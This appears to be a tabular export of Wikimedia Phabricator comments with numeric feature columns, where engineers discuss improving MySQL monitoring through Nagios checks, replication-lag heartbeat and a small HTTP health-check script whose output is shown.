Additionally, we should see if we can change the backend contact info for all existing globalsign certs without reissuing (since its renewal info, not cert info, it shouldnt need reissue.)",,,1444837845,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-ao3bxbvapnkhonosudfs,task_subcomment,,True,c3,3,True,,,14,True,3.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,5.0,0.0,7.0,13.0,0.0,2.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,3.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,13.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.333333333333333,0.7666666666666667,"We've recently changed the policy on ordering ssl certificates to put in the ssl_renewals alias for all ssl cert info.

Additionally, we should see if we can change the backend contact info for all existing globalsign certs without reissuing (since its renewal info, not cert info, it shouldnt need reissue.)"
112473,Better mysql monitoring for number of connections and processlist strange patterns,Mostly https://www.percona.com/doc/percona-monitoring-plugins/1.1/nagios/pmp-check-mysql-processlist.html#pmp-check-mysql-processlist,Medium,50.0,1442163974,1589893719.0,PHID-USER-gzd4fguky5ixnvz46fvu,False,PHID-USER-2qjlvo4lpgqvny5yo3ic,False,PHID-TASK-ctatqmjlo6nlvydmzdqt,task_description,declined,True,c3,3,True,False,False,10,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,Mostly URL
1506885,Better mysql monitoring for number of connections and processlist strange patterns,Closing this in favour of T253120 which has more concrete points of action,,,1589893719,,PHID-USER-2qjlvo4lpgqvny5yo3ic,False,,,PHID-TASK-ctatqmjlo6nlvydmzdqt,task_subcomment,,True,c3,3,True,,,254,True,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,8.0,0.0,0.0,4.769230769230769,0.9230769230769231,Closing this in favour of T253120 which has more concrete points of action
665713,Better mysql monitoring for number of connections and processlist strange patterns,"Change 289825 merged by Jcrespo:
Increase retries to 10 to avoid small bumps to alert

[[https://gerrit.wikimedia.org/r/289825]]",,,1463731998,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ctatqmjlo6nlvydmzdqt,task_subcomment,,True,c3,3,False,,,46,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,17.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.8260869565217392,0.8260869565217391,"Change 289825 merged by Jcrespo:
Increase retries to 10 to avoid small bumps to alert

[[GERRIT_URL]]"
665712,Better mysql monitoring for number of connections and processlist strange patterns,"Change 289825 had a related patch set uploaded (by Jcrespo):
Increase retries to 10 to avoid small bumps to alert

[[https://gerrit.wikimedia.org/r/289825]]
",,,1463731961,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ctatqmjlo6nlvydmzdqt,task_subcomment,,True,c3,3,False,,,46,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,13.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.7333333333333334,0.8333333333333334,"Change 289825 had a related patch set uploaded (by Jcrespo):
Increase retries to 10 to avoid small bumps to alert

[[GERRIT_URL]]
"
665709,Better mysql monitoring for number of connections and processlist strange patterns,"Change 289822 merged by Jcrespo:
Revert ""mariadb: set replication check's contact_group to admins""

[[https://gerrit.wikimedia.org/r/289822]]",,,1463731361,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ctatqmjlo6nlvydmzdqt,task_subcomment,,True,c3,3,False,,,46,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.12,0.84,"Change 289822 merged by Jcrespo:
Revert ""mariadb: set replication check's contact_group to admins""

[[GERRIT_URL]]"
665707,Better mysql monitoring for number of connections and processlist strange patterns,"Change 289822 had a related patch set uploaded (by Jcrespo):
Revert ""mariadb: set replication check's contact_group to admins""

[[https://gerrit.wikimedia.org/r/289822]]
",,,1463731334,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ctatqmjlo6nlvydmzdqt,task_subcomment,,True,c3,3,False,,,46,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,12.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,3.96875,0.84375,"Change 289822 had a related patch set uploaded (by Jcrespo):
Revert ""mariadb: set replication check's contact_group to admins""

[[GERRIT_URL]]
"
650933,Better mysql monitoring for number of connections and processlist strange patterns,"Before all 5.5 old servers are decomissioned, this is the list of old checks:


```
DPKG [common]
Disk space [common]
Full LVS Snapshot [unneeded? we use now xtrabackup]
MySQL Idle Transactions [interesting]
MySQL InnoDB [interesting]
MySQL Processlist [interesting]
MySQL Recent Restart [interesting]
MySQL Replication Heartbeat [done]
MySQL Slave Delay [done]
MySQL Slave Running [done]
Slave_SQL_Running: [done]
MySQL disk space [done, needed if space can now be parametrized?]
NTP [common]
RAID [common]
SSH [common]
configured eth [common]
dhclient process [common]
mysqld processes [done]
puppet last run [common]
salt-minion processes [common]
```

Most of the pending ones seem the typical ones from Percona Monitoring toolkit, although we need a balance between annoying and complete. The ones on the title are the minimal ones.",,,1461579082,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-ctatqmjlo6nlvydmzdqt,task_subcomment,,True,c3,3,True,,,42,True,2.0,0.0,0.0,2.0,0.0,12.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,5.0,11.0,2.0,2.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,12.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,4.0,0.7368421052631579,"Before all 5.5 old servers are decomissioned, this is the list of old checks:


``CODE``

Most of the pending ones seem the typical ones from Percona Monitoring toolkit, although we need a balance between annoying and complete. The ones on the title are the minimal ones."
612086,Better mysql monitoring for number of connections and processlist strange patterns,"Change 253665 merged by Jcrespo:
Use heartbeat when possible to check slave lag

[[https://gerrit.wikimedia.org/r/253665]]",,,1455723144,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ctatqmjlo6nlvydmzdqt,task_subcomment,,True,c3,3,False,,,32,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,19.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,4.0,0.9047619047619048,"Change 253665 merged by Jcrespo:
Use heartbeat when possible to check slave lag

[[GERRIT_URL]]"
564397,Better mysql monitoring for number of connections and processlist strange patterns,"Change 253665 had a related patch set uploaded (by Jcrespo):
[WIP] Use heartbeat when possible to check slave lag

[[https://gerrit.wikimedia.org/r/253665]]
",,,1447790495,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ctatqmjlo6nlvydmzdqt,task_subcomment,,True,c3,3,False,,,19,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,16.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,6.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,13.0,3.6451612903225805,0.8387096774193549,"Change 253665 had a related patch set uploaded (by Jcrespo):
[WIP] Use heartbeat when possible to check slave lag

[[GERRIT_URL]]
"
564301,Better mysql monitoring for number of connections and processlist strange patterns,"@csteipp Are you suggesting the appservers depending on nagios? I would strongly advice against that. 

If you mean ""copying"" what nagios will be doing, keep an eye for the check_mariadb.pl future changes I am now writing. The logic is easy, but I have to figure out a way to distribute who is each slave's original master (if auto-discover or set it as a puppet property manually).

Aaron already implemented it on mediawiki, at least the heartbeat one: https://gerrit.wikimedia.org/r/#/c/241133/",,,1447782206,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-ctatqmjlo6nlvydmzdqt,task_subcomment,,True,c3,3,True,,,19,True,1.0,0.0,1.0,0.0,0.0,3.0,2.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,3.0,1.0,4.0,12.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,1.0,6.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,18.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,9.0,2.0,2.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,7.0,12.0,3.0,1.0,2.0,0.0,7.0,0.0,2.0,3.0,0.0,5.0,0.0,1.0,0.0,4.052631578947368,0.8210526315789474,"SCREEN_NAME Are you suggesting the appservers depending on nagios? I would strongly advice against that. 

If you mean ""copying"" what nagios will be doing, keep an eye for the check_mariadb.pl future changes I am now writing. The logic is easy, but I have to figure out a way to distribute who is each slave's original master (if auto-discover or set it as a puppet property manually).

Aaron already implemented it on mediawiki, at least the heartbeat one: URL"
564300,Better mysql monitoring for number of connections and processlist strange patterns,"@csteipp Are you suggesting the appservers depending on nagios. I would strongly suggest against that. 

If you mean ""copying"" what nagios will be doing, keep an eye for the check_mariadb.pl future changes I am now writing. The logic is easy, but I have to figure out a way to distribute who is each slave's original master (if auto-discover or set it as a puppet property manually).

Aaron already implemented it on mediawiki, at least the heartbeat one: https://gerrit.wikimedia.org/r/#/c/241133/",,,1447782183,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-ctatqmjlo6nlvydmzdqt,task_subcomment,,True,c3,3,True,,,19,True,1.0,0.0,1.0,0.0,0.0,3.0,2.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,3.0,1.0,4.0,12.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,1.0,6.0,2.0,2.0,3.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,18.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,9.0,2.0,2.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,7.0,12.0,3.0,0.0,2.0,0.0,7.0,0.0,2.0,3.0,0.0,5.0,0.0,1.0,0.0,4.063157894736842,0.8105263157894737,"SCREEN_NAME Are you suggesting the appservers depending on nagios. I would strongly suggest against that. 

If you mean ""copying"" what nagios will be doing, keep an eye for the check_mariadb.pl future changes I am now writing. The logic is easy, but I have to figure out a way to distribute who is each slave's original master (if auto-discover or set it as a puppet property manually).

Aaron already implemented it on mediawiki, at least the heartbeat one: URL"
564278,Better mysql monitoring for number of connections and processlist strange patterns,"@jcrespo, interesting. If you're able to get those numbers into nagois, I can probably figure out a way to get it onto the appservers.",,,1447779603,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-ctatqmjlo6nlvydmzdqt,task_subcomment,,True,c3,3,True,,,19,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,21.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,10.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,10.0,21.0,3.0,0.0,0.0,0.0,10.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.9310344827586206,0.8620689655172413,"SCREEN_NAME, interesting. If you're able to get those numbers into nagois, I can probably figure out a way to get it onto the appservers."
564166,Better mysql monitoring for number of connections and processlist strange patterns,"Aaron is using mediawiki itself to query pt-heartbeat. With that in mind I wonder if exposing a port is still interesting for external services or I should just implement a check directly on nagios. 

I would do the second for now.",,,1447771628,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-ctatqmjlo6nlvydmzdqt,task_subcomment,,True,c3,3,True,,,19,True,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,6.0,0.0,9.0,15.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,11.0,2.0,2.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,9.0,15.0,6.0,0.0,0.0,0.0,9.0,0.0,0.0,4.0,2.0,4.0,0.0,0.0,0.0,4.0638297872340425,0.851063829787234,"Aaron is using mediawiki itself to query pt-heartbeat. With that in mind I wonder if exposing a port is still interesting for external services or I should just implement a check directly on nagios. 

I would do the second for now."
530133,Better mysql monitoring for number of connections and processlist strange patterns,"I am afraid not, a simplistic, but accurate way of describing the linux load parameters is ""the size of the CPU queue"". MySQL will very rarely be blocked by CPU, it will be either suffering from internal contention or waiting on IO. The number of current_connections could be a better measure of that queue. Maybe I can add more information, like active vs. waiting processes (usually, mysql will be executing 32 or less at the same time, and will make the others wait).

You maybe make the most difficult question of all in the database world: How to measure how busy is MySQL? Not a definitive answer. Probably it should be a combination of lag (already produced as the difference between ""current_time"" and ""last_master_update"", with a 0.25s error), mysql process queing (current_connections, maybe some extra information) and latency of the HTTP request itself (which would measure mysql query time and network congestion). That would be a metric for ""data staleness"", throughput issues and latency issues.

If we go to one of our busiest servers (db1072) -although it is not at peak time right now- I get this:


```
$ time bash mysqlcheck.sh
HTTP/1.1 200 OK
Content-Type: application/json
Connection: close
Content-Lenght: 184

{ ""server_available"": ""yes"", ""current_time"": ""2015-09-18 08:09:45.047804"", ""last_master_update"": ""2015-09-18 08:09:45.000680"", ""max_connections"": ""5000"", ""current_connections"": ""161"" }
real	0m0.014s
user	0m0.010s
sys	0m0.001s

```

So, 0.014 -> very short latency, good (obviously real HTTP latency should be measured, and would be larger than that), lag: 0.047124s(-0.25 error)s: almost no lag, good, current_connections: 161 (there is some queuing, >32, but that is normal for such a busy server; it is far from the 5000 connection limit). To detect a large burst of connections, we need to make sure that current_connections is not at 75%, 90%? of max_connections. Tuning those is something that should be tested under realistic stress conditions.",,,1442564729,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-ctatqmjlo6nlvydmzdqt,task_subcomment,,True,c3,3,True,,,11,True,0.75,0.25,0.5,0.75,1.0,6.75,2.25,0.0,0.0,0.25,0.5,0.0,0.0,0.25,0.25,1.5,0.25,5.25,8.75,0.25,0.75,0.75,0.0,0.0,0.0,0.5,0.0,0.25,0.5,1.75,0.25,3.5,0.0,1.25,0.25,0.25,0.0,0.25,0.5,0.25,0.25,0.0,0.0,4.0,0.25,0.75,0.0,0.0,0.0,12.25,1.75,0.25,0.25,0.75,0.75,0.0,0.25,0.0,1.0,0.25,0.0,0.25,0.0,0.0,0.0,0.0,0.0,4.75,4.75,5.5,1.0,2.75,8.0,0.0,0.0,0.0,0.0,4.25,0.25,2.25,0.0,3.0,8.75,2.75,0.5,2.0,0.0,3.0,0.0,1.0,2.0,0.25,1.5,1.0,0.5,0.5,4.008720930232558,0.7354651162790697,"I am afraid not, a simplistic, but accurate way of describing the linux load parameters is ""the size of the CPU queue"". MySQL will very rarely be blocked by CPU, it will be either suffering from internal contention or waiting on IO. The number of current_connections could be a better measure of that queue. Maybe I can add more information, like active vs. waiting processes (usually, mysql will be executing 32 or less at the same time, and will make the others wait).

You maybe make the most difficult question of all in the database world: How to measure how busy is MySQL? Not a definitive answer. Probably it should be a combination of lag (already produced as the difference between ""current_time"" and ""last_master_update"", with a 0.25s error), mysql process queing (current_connections, maybe some extra information) and latency of the HTTP request itself (which would measure mysql query time and network congestion). That would be a metric for ""data staleness"", throughput issues and latency issues.

If we go to one of our busiest servers (db1072) -although it is not at peak time right now- I get this:


``CODE``

So, 0.014 -> very short latency, good (obviously real HTTP latency should be measured, and would be larger than that), lag: 0.047124s(-0.25 error)s: almost no lag, good, current_connections: 161 (there is some queuing, >32, but that is normal for such a busy server; it is far from the 5000 connection limit). To detect a large burst of connections, we need to make sure that current_connections is not at 75%, 90%? of max_connections. Tuning those is something that should be tested under realistic stress conditions."
530132,Better mysql monitoring for number of connections and processlist strange patterns,"I am afraid not, a simplistic, but accurate way of describing the linux load parameters is ""the size of the CPU queue"". MySQL will very rarely be blocked by CPU, it will be either suffering from internal contention or waiting on IO. The number of current_connections could be a better measure of that queue. Maybe I can add more information, like active vs. waiting processes (usually, mysql will be executing 32 or less at the same time, and will make the others wait).

You maybe make the most difficult question of all in the database world: How to measure how busy is MySQL? Not a definitive answer. Probably it should be a combination of lag (already produced as the difference between ""current_time"" and ""last_master_update"", with a 0.25s error), mysql process queing (current_connections, maybe some extra information) and latency of the HTTP request itself (which would measure mysql query time and network congestion).

If we go to one of our busiest servers (db1072) -although it is not at peak time right now- I get this:


```
$ time bash mysqlcheck.sh
HTTP/1.1 200 OK
Content-Type: application/json
Connection: close
Content-Lenght: 184

{ ""server_available"": ""yes"", ""current_time"": ""2015-09-18 08:09:45.047804"", ""last_master_update"": ""2015-09-18 08:09:45.000680"", ""max_connections"": ""5000"", ""current_connections"": ""161"" }
real	0m0.014s
user	0m0.010s
sys	0m0.001s

```

So, 0.014 -> very short latency, good (obviously real HTTP latency should be measured, and would be larger than that), lag: 0.047124s(-0.25 error)s: almost no lag, good, current_connections: 161 (there is some queuing, >32, but that is normal for such a busy server; it is far from the 5000 connection limit). To detect a large burst of connections, we need to make sure that current_connections is not at 75%, 90%? of max_connections. Tuning those is something that should be tested under realistic stress conditions.",,,1442564542,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-ctatqmjlo6nlvydmzdqt,task_subcomment,,True,c3,3,True,,,11,True,0.75,0.25,0.5,0.75,1.0,6.5,2.25,0.0,0.0,0.25,0.5,0.0,0.0,0.25,0.25,1.5,0.25,5.5,8.75,0.25,0.75,0.75,0.0,0.0,0.0,0.25,0.0,0.25,0.5,1.5,0.25,3.5,0.0,1.25,0.25,0.25,0.0,0.25,0.25,0.25,0.25,0.0,0.0,3.75,0.25,0.75,0.0,0.0,0.0,11.25,1.5,0.25,0.25,0.75,0.75,0.0,0.25,0.0,1.0,0.25,0.0,0.25,0.0,0.0,0.0,0.0,0.0,4.75,4.5,5.25,1.0,2.5,7.75,0.0,0.0,0.0,0.0,4.25,0.25,2.25,0.0,3.0,8.75,2.75,0.5,1.5,0.0,3.0,0.0,1.0,1.75,0.25,1.5,1.0,0.5,0.5,4.003349894610057,0.752371273712737,"I am afraid not, a simplistic, but accurate way of describing the linux load parameters is ""the size of the CPU queue"". MySQL will very rarely be blocked by CPU, it will be either suffering from internal contention or waiting on IO. The number of current_connections could be a better measure of that queue. Maybe I can add more information, like active vs. waiting processes (usually, mysql will be executing 32 or less at the same time, and will make the others wait).

You maybe make the most difficult question of all in the database world: How to measure how busy is MySQL? Not a definitive answer. Probably it should be a combination of lag (already produced as the difference between ""current_time"" and ""last_master_update"", with a 0.25s error), mysql process queing (current_connections, maybe some extra information) and latency of the HTTP request itself (which would measure mysql query time and network congestion).

If we go to one of our busiest servers (db1072) -although it is not at peak time right now- I get this:


``CODE``

So, 0.014 -> very short latency, good (obviously real HTTP latency should be measured, and would be larger than that), lag: 0.047124s(-0.25 error)s: almost no lag, good, current_connections: 161 (there is some queuing, >32, but that is normal for such a busy server; it is far from the 5000 connection limit). To detect a large burst of connections, we need to make sure that current_connections is not at 75%, 90%? of max_connections. Tuning those is something that should be tested under realistic stress conditions."
529848,Better mysql monitoring for number of connections and processlist strange patterns,"@jcrespo, it seems like adding /proc/loadavg would be a useful metric to adjust on. But it might be a naive assumption that load is a good proxy for mysql's capacity to do work?",,,1442525638,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-ctatqmjlo6nlvydmzdqt,task_subcomment,,True,c3,3,True,,,11,True,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,5.0,0.0,5.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,5.0,3.0,3.0,8.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,5.0,15.0,3.0,3.0,0.0,0.0,5.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,0.0,3.7948717948717947,0.8717948717948718,"SCREEN_NAME, it seems like adding /proc/loadavg would be a useful metric to adjust on. But it might be a naive assumption that load is a good proxy for mysql's capacity to do work?"
529736,Better mysql monitoring for number of connections and processlist strange patterns,"This is what I have now:

```
$ time bash mysqlcheck.sh 
HTTP/1.1 200 OK
Content-Type: application/json
Connection: close
Content-Lenght: 182

{ ""server_available"": ""yes"", ""current_time"": ""2015-09-17 19:41:19.066394"", ""last_master_update"": ""2015-09-17 14:11:24.000650"", ""max_connections"": ""5000"", ""current_connections"": ""6"" }
real	0m0.010s
user	0m0.006s
sys	0m0.002s
$ vim mysqlcheck.sh # to make mysql fail
$ time bash mysqlcheck.sh 
HTTP/1.1 503 Service Unavailable
Content-Type: application/json
Connection: close
Content-Lenght: 26

{""server_available"": ""no""}
real	0m0.009s
user	0m0.000s
sys	0m0.008s
```

(BTW, this server is running, but depooled and with its replication thread stopped).",,,1442519332,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-ctatqmjlo6nlvydmzdqt,task_subcomment,,True,c3,3,True,,,11,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,3.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.21875,0.8125,"This is what I have now:

``CODE``

(BTW, this server is running, but depooled and with its replication thread stopped)."
529731,Better mysql monitoring for number of connections and processlist strange patterns,"This is what I have now:

```
$ time bash mysqlcheck.sh 
HTTP/1.1 200 OK
Content-Type: application/json
Connection: close
Content-Lenght: 182

{ ""server_available"": ""yes"", ""current_time"": ""2015-09-17 19:41:19.066394"", ""last_master_update"": ""2015-09-17 14:11:24.000650"", ""max_connections"": ""5000"", ""current_connections"": ""6"" }
real	0m0.010s
user	0m0.006s
sys	0m0.002s
$ vim mysqlcheck.sh # to make mysql fail
$ time bash mysqlcheck.sh 
HTTP/1.1 503 Service Unavailable
Content-Type: application/json
Connection: close
Content-Lenght: 26

{""server_available"": ""no""}
real	0m0.009s
user	0m0.000s
sys	0m0.008s
```
